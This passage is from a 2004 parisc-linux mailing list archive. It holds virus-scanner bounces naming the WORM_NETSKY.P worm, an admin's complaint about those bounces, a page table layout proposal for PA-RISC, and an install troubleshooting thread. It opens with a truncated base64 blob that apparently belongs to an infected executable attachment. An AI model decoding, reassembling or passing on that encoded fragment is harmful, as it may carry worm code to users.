lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc
F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq
9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO
tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA
KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA
gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi
IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU
REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi
IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI
iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj
RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS
UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE
REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz
QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA
BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF
CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB
dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6
ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3
AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+
EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ
UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX
zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ
TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp
Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k
Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Fri, 9 Apr 2004 01:04:02 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <0a2c01c41dbd$c8c38de0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623351 8084 80.91.229.3 (22 Nov 2014 02:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Thu Apr  8 17:03:11 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08E63484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 17:03:11 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E8924D.dip0.t-ipconnect.de
	[217.232.146.77])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i38N39o06409
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Apr 2004 01:03:09 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Fri, 9 Apr 2004 01:04:02 +0200
thread-index: AcQdvcjDPZqsfaZeT6q70BAKT2+iMw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 08 Apr 2004 23:04:02.0937 (UTC)
	FILETIME=[C8E01690:01C41DBD]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 23:03:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21346

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/9/2004 1:04:01 AM
Engine/Pattern = 7.000-1004/1.853.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MailServer Notification]To Sender virus found 
	and action taken.
Date: Thu, 08 Apr 2004 18:23:46 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20040409002347.923D637D0C@carmen.fc.hp.com>
References: <0a2c01c41dbd$c8c38de0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623352 8086 80.91.229.3 (22 Nov 2014 02:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: taggart@carmen.fc.hp.com  Thu Apr  8 18:23:52 2004
Return-Path: <taggart@carmen.fc.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BC7C48A8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 18:23:52 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 076AE1C02CE6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 20:23:52 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 61BBB41F1E5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 18:23:48 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.11.146.74])
	by ldl.fc.hp.com (Postfix) with ESMTP id CFBFD1340C7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 18:23:47 -0600 (MDT)
Original-Received: by carmen.fc.hp.com (Postfix, from userid 22223)
	id 923D637D0C; Thu,  8 Apr 2004 18:23:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 80A6137D08
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 18:23:47 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.1-RC1
In-Reply-To: Message from <Administrator@s15113731.rootmaster.info> of "Fri,
	09 Apr 2004 01:04:02 +0200."
	<0a2c01c41dbd$c8c38de0$fc01a8c0@muc.nccconsulting.de> 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 00:23:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21347


Administrator@s15113731.rootmaster.info writes...

> ScanMail for Microsoft Exchange has detected virus-infected attachment(s).
> 
> Sender = parisc-linux@lists.parisc-linux.org
> Recipient(s) = Evangelos Kopanakis
> Subject = Re: Encrypted Mail
> Scanning time = 4/9/2004 1:04:01 AM
> Engine/Pattern = 7.000-1004/1.853.00
> 
> Action on virus found:
> The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed i

Messages to the list from this sender will now be discarded. We've had 16 
from that address in April and a bunch in March. I tried to contact the 
administrator and it bounced.

postmasters,

Please configure your spam/virus filters to _not_ reply to the sender. Most 
spam/viruses spoof the sender and it only makes the problem worse.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Antivirus_de_Correo_1@uchile.cl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-8859-1?q?Violaci=F3n_de_contenido_-_Virus?=
Date: Thu,  8 Apr 2004 19:27:23 -0600 (MDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <20040409012723.4D092484C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623352 8089 80.91.229.3 (22 Nov 2014 02:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Antivirus_de_Correo_1@uchile.cl  Thu Apr  8 19:27:24 2004
Return-Path: <Antivirus_de_Correo_1@uchile.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from av1.uchile.cl (av1.uchile.cl [200.89.70.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D092484C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 19:27:23 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 01:27:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21348

Este mensaje contena virus o Spam.

From: parisc-linux@lists.parisc-linux.org
To: lmerino@abello.dic.uchile.cl

File(s): message.scr

Matching filename: *.scr




From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposal for altering our Page Table layouts
Date: 09 Apr 2004 07:16:55 -0500
Lines: 100
Approved: news@gmane.org
Message-ID: <1081513015.1759.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623352 8092 80.91.229.3 (22 Nov 2014 02:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:12 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr  9 06:17:02 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1C074848
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 06:17:01 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i39CH0a19046 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Apr 2004 08:17:00 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 12:17:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21349

Current state of Play
=====================

On PA, we currently have different page table layouts depending on
whether we're running a 64 bit (LP64) or 32 bit (ILP32) kernel.  PA
has a so called software TLB, which means that each PA processor
contains a number of fixed TLB entries and if the current virtual
address is not in one of them the processor takes a TLB miss fault and
the fault routine gets to locate the TLB entry and insert it (usually
causing the processor to throw out another TLB entry).  This software
TLB policy means that our page table structure is really up to us.

On ILP32 we have a 2 level page table, with a 4k directory pointing to
a page of 4k containing the entries, each entry pointing to a physical
page and taking 4 bytes (covering 1024*1024*4096 = 4GB total).

On LP64 we have a 3 level page table, with a 4k directory pointing to
a 4k mid-directory pointing to a page of 4k containing entries.  Since
our pointers here are 8 bytes, 4k only contains 512 of them, so we
cover 512 * 512 * 512 * 4096 = 512GB

One disadvantage on LP64 is that even though our user-space is mostly
ILP32, we still incur the overhead of a three level lookup.

Another problem with this is that each Page table Entry (PTE) needs to
contain certain flags (some are mandated by Linux, others are needed
to control the type of TLB entries we insert).  Since each PTE points
to a page (and thus must be page aligned), we get the lower 12 bits of
the address for the flags.  If you look in asm/pgtable.h, you'll see
that all of those bits are already in use for 13 flags (we overload
_PAGE_FILE and _PAGE_DIRTY).

In order to solve our cache flush penalty on fork/exec, and implement
stingy flushing, we need to be able to mark a page as being "in
cache", and would need an extra flag to do this with.  Additionally,
at some point in the future it would be nice to be able to be adaptive
about page size (i.e. r-x regions are just faulted binary text, we
could cover them with 16k or even 64k pages for efficiency and Linux
would be none the wiser).

To achieve all of this, we need quite a large expansion in the number
of available flags.

So:

New Proposal for Page Table Layout
==================================

The proposal is:

1) Make the PTE on both ILP32 and LP64 8 bytes.  Even on LP64, the
   maximum addressable physical memory is 48bits (256EB), so we can
   use the top 16 bits for additional flags.  On ILP32 we'd have an
   extra long, so again, we use the top 16 bits for flags and leave
   the lower 16 bits unused.  This gives us identical PTE layouts on
   both ILP32 and LP64

2) Make the directories 8k in size (this has to be physically
   contiguous because the TLB miss handler operates in absolute
   space).

3) Allocate all page tables in ZONE_DMA.  On PA, this means that the
   physical address of every page table will be under 4GB, so we only
   need *four* bytes for all of the directory entries. (The flags I'm
   looking for are only in the PTE, we have plenty of extra space
   still for directory flags).

Now, if you put all this together, you'll see that for ILP32
executables on the LP64 kernel, we only need a two level page table
(2048 directory entries * 512 PTEs * 4096 = 4GB), saving us one level
of indirect lookup.

Additionally, if we ever get around to implementing LP64 user binaries
(and you know who you are...) we would then be able to address up to
2048 * 2048 * 512 * 4096 = 8EB of virtual space using a three level
page table.

The disadvantages:

1) Our directory entries become order one allocations.  Linux is
   careful about this, so these type of allocations should be
   plentiful and we only need one directory per ILP32 process anyway.

2) we have to allocate GFP_DMA.  Since very few people actually have a
   PA machine with more than 4GB of ram, this shouldn't be too much of
   a problem.

The advantages:

1) We get an extra sixteen PTE flags to play with.

2) We use 2 level page tables for ILP32 user processes on LP64.

3) We can unify the narrow and wide TLB miss handlers (we'd actually
   predicate the 2 or 3 level lookup on the width of the user binary).

James




From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: david.everly@mci.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 09 Apr 2004 05:31:00 -0600
Lines: 88
Approved: news@gmane.org
Message-ID: <20040409113100.GA1716@csu6223286.mcilink.com>
References: <20040408231826.GB32148@csu6223286.mcilink.com>
	<20040409094050.639494f0.puffin@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-action=pgp-signed
X-Trace: ger.gmane.org 1416623353 8093 80.91.229.3 (22 Nov 2014 02:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:13 +0000 (UTC)
To: The PA/Linux ESIEE Team <puffin@esiee.fr>
Original-X-From: david.everly@mci.com  Fri Apr  9 06:34:39 2004
Return-Path: <david.everly@mci.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pmesmtp04.mci.com (pmesmtp04.mci.com [199.249.20.36])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F04A4848
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 06:34:39 -0600 (MDT)
Original-Received: from dgismtp05.wcomnet.com ([166.38.58.88])
	by firewall.mci.com (Iplanet MTA 5.2)
	with ESMTP id <0HVW006EVLLQC2@firewall.mci.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 12:34:39 +0000 (GMT)
Original-Received: from dgismtp05.wcomnet.com by dgismtp05.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with SMTP id <0HVW00601LLQ2X@dgismtp05.mcilink.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 12:34:38 +0000 (GMT)
Original-Received: from csu6223286.mcilink.com ([166.34.135.226])
	by dgismtp05.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with ESMTP id <0HVW004GULLPR4@dgismtp05.mcilink.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 12:34:38 +0000 (GMT)
Original-Received: from deverly by csu6223286.mcilink.com with local
	(Exim 3.36 #1 (Debian))
	id 1BBvDQ-0000Tq-00	for <parisc-linux@lists.parisc-linux.org>; Fri,
	09 Apr 2004 06:34:36 -0600
Resent-date: Fri, 09 Apr 2004 06:34:36 -0600
Resent-From: david.everly@mci.com
In-reply-to: <20040409094050.639494f0.puffin@esiee.fr>
Resent-To: parisc-linux@lists.parisc-linux.org
Resent-message-id: <20040409123436.GD1716@csu6223286.mcilink.com>
Content-disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 12:34:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21350

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Thank you for your fast reply!

I installed the base system from the netinst ISO.  There seemed to be
no option to install from the network during this stage.  I'm wondering
if somehow /dev/ttyB0 was not created when the base system was installed
(even though it was there on the CD used for the install).  I think
maybe this device is not needed for all hardware, but is needed for my
particular setup, which would explain why it works for some others.

If this is the case, would you have any information as to how I can
boot from the netinst CD, open a shell and add /dev/ttyB0 to the
permanent installation?

Or perhaps I'm way off base here and you have some better
instructions.   :)

I'm more familiar with using Debian i386, so I have another small
(perhaps stupid) question about palinux:  is there a limit to partitions
on one disk?  The reason I asked is I tried to make four partitions on
one 9G drive (the first was type f0, the remaining three were linux).
The installer could only see the first two linux partitions and not
the third linux partition.  Thus, I revised my plan and only used two
linux partitions on that drive.

Thank you again,
Dave.

On Fri, Apr 09, 2004 at 01:40:50AM MDT, The PA/Linux ESIEE Team wrote:
> This looks very strange to me since 2.4.21-pa6 is known to be working
> just fine for any supported box.
> 
> I can see one pitfall though: have you installed base system from the
> netinst ISO or from network?
> 
> HTH,
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://www.pateam.org/
> 
> On Thu, 08 Apr 2004 17:18:27 -0600
> "David Everly" <david.everly@mci.com> wrote:
> 
> > Hi,
> > 
> > I tried to install the following on HP 9000/800/K580:
> > 
> > http://www.pateam.org/cd-images/testing/palinux-2.4.21-pa6-20030718-netinst.iso
> > 
> > After installing kernel, configuring network, etc. it came time to
> > reboot.  Upon reboot I got the following message and could not finish
> > the install:
> > 
> > Starting periodic command scheduler: cron
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > /bin/sh: /dev/ttyB0: No such device
> > INIT: Id "T0" respawning to fast: disabled for 5 minutes
> > INIT: no more processes left in this runlevel
> > 
> > Any suggestions on what I do now to either re-install or continue from
> > this point?
> > 
> > Thanks,
> > Dave.
- -- 
David.Everly@mci.com
      IM: deckrider@jabber.org
   GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAdol0ZCfddIUnua8RAkyrAJwNAMVn0GTm5+EZfFG/fQkS70x0qQCfUUfn
S6PuwNXOcpBwxihYV9llGww=
=cn2C
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Fri, 9 Apr 2004 08:38:04 -0600 (MDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623353 8094 80.91.229.3 (22 Nov 2014 02:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jsm@udlkern.fc.hp.com  Fri Apr  9 08:38:05 2004
Return-Path: <jsm@udlkern.fc.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63BAF4872
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 08:38:05 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 12CA51C026AA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 10:38:05 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.11.1/8.9.3 SMKit7.01) id i39Ec4Q23610
	for parisc-linux@lists.parisc-linux.org;
	Fri, 9 Apr 2004 08:38:04 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 14:38:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21351

> Allocate all page tables in ZONE_DMA.  On PA, this means that the
> physical address of every page table will be under 4GB, so we only
> need *four* bytes for all of the directory entries. (The flags I'm
> looking for are only in the PTE, we have plenty of extra space
> still for directory flags).

You don't need this restriction.  No PA machine actually implements more
than a 40 bit physical address space (even the latest Pluto based
machines, which support 44 bits for IA64 are put into a 40 bit addressing
mode for PARISC).  So, for a 4K page table size (12 bits), you only need
28 bits (40-12) to be able to address any possible 4K aligned physical
address.  This leaves you 4 bits for directory flags.  Since we only
currently use 1, you still have 3 to spare.

